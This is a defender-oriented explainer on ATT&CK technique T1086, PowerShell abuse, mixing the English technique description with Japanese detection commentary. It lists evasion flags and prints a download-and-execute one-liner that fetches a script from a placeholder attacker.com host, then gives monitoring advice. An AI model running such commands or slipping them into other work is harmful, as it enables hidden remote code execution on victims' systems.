PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
Administrator permissions are required to use PowerShell to connect to remote systems.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)
T1086「PowerShell」 は、Windowsの強力なコマンドラインシェルおよびスクリプト言語であるPowerShellを悪用して、コードを実行する手法です。
この手法で攻撃者は、「OS標準の強力な機能を悪用した、ファイルレスかつ高機能な攻撃」を実現します。
攻撃者は多くの場合、他の攻撃(フィッシングメールのマクロなど)からPowerShellを呼び出します。
-ExecutionPolicy Bypass: スクリプト実行制限を無視する。-WindowStyle Hidden: ユーザーに気づかれないよう、ウィンドウを出さずに実行する。-EncodedCommand: 難読化された(Base64)コマンドを実行する。IEX (New-Object Net.WebClient).DownloadString('[http://attacker.com/payload.ps1](http://attacker.com/payload.ps1)')PowerShellを「禁止」するのではなく、その「挙動を可視化」することが重要です。
現代のWindows環境において、PowerShellを完全に無効化することは困難です。そのため、「管理者が普段使わない引数(-EncodedCommandなど)」や「一時フォルダからの実行」を監視のプライオリティに置くことが、迅速な検知への近道です。
この攻撃手法に関連する CVE は登録されていません。